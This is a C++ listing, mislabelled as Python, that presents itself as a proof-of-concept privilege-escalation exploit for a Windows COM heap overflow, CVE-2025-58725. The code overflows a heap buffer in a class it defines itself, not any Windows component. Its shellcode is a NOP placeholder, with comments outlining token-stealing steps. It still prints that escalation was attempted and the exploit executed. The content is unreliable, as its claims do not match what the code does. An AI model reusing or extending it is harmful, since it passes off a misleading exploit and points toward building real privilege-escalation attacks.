The following code is for security research and authorized testing only.
python
// CVE-2025-58725 - Windows COM Heap-based Buffer Overflow PoC
// This is a conceptual PoC demonstrating the exploitation technique
// for heap-based buffer overflow in Windows COM privilege escalation.
#include <windows.h>
#include <objbase.h>
#include <stdio.h>
// Shellcode to be executed after successful exploitation
// In real scenario, this would contain token-stealing shellcode
// to elevate from low-privilege user to SYSTEM
unsigned char shellcode[] = {
// Token stealing shellcode placeholder
// Would typically contain:
// 1. Find current process EPROCESS
// 2. Locate SYSTEM process token
// 3. Replace current process token with SYSTEM token
0x90, 0x90, 0x90, 0x90 // NOP sled placeholder
};
// Vulnerable COM interface definition
// The vulnerability exists in the processing of buffer data
// through COM interface methods
interface IExploitInterface : public IUnknown {
virtual HRESULT __stdcall VulnerableMethod(BYTE* pInputData, ULONG ulDataSize) = 0;
};
// Exploit class that triggers the heap overflow
class CExploit : public IExploitInterface {
private:
ULONG m_refCount;
public:
CExploit() : m_refCount(1) {}
// IUnknown methods
HRESULT __stdcall QueryInterface(REFIID riid, void** ppvObject) {
if (riid == IID_IUnknown) {
*ppvObject = this;
AddRef();
return S_OK;
}
return E_NOINTERFACE;
}
ULONG __stdcall AddRef() { return InterlockedIncrement((LONG*)&m_refCount); }
ULONG __stdcall Release() { return InterlockedDecrement((LONG*)&m_refCount); }
// Vulnerable method - triggers heap buffer overflow
// The COM component allocates a fixed-size heap buffer but
// fails to validate the input data size
HRESULT __stdcall VulnerableMethod(BYTE* pInputData, ULONG ulDataSize) {
// Fixed-size buffer allocation on heap
BYTE* pHeapBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), 0, 64);
if (pHeapBuffer == NULL) {
return E_OUTOFMEMORY;
}
// VULNERABILITY: No bounds checking on ulDataSize
// Copying user-controlled data into fixed-size buffer
// causing heap buffer overflow
memcpy(pHeapBuffer, pInputData, ulDataSize);
HeapFree(GetProcessHeap(), 0, pHeapBuffer);
return S_OK;
}
};
int main() {
// Initialize COM library
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
if (FAILED(hr)) {
printf("[-] Failed to initialize COM\n");
return 1;
}
printf("[*] CVE-2025-58725 - Windows COM Heap Buffer Overflow PoC\n");
printf("[*] Attempting privilege escalation...\n");
// Create exploit instance
CExploit* pExploit = new CExploit();
// Prepare overflow payload
// Size larger than the allocated 64-byte buffer
ULONG ulPayloadSize = 256;
BYTE* pPayload = (BYTE*)malloc(ulPayloadSize);
memset(pPayload, 0x41, ulPayloadSize); // Fill with 'A's
// In a real exploit, the payload would contain:
// - Heap spray data
// - Controlled pointers to redirect execution
// - Shellcode for token stealing
// Trigger the vulnerability
pExploit->VulnerableMethod(pPayload, ulPayloadSize);
printf("[+] Exploit executed\n");
// Cleanup
free(pPayload);
pExploit->Release();
CoUninitialize();
return 0;
}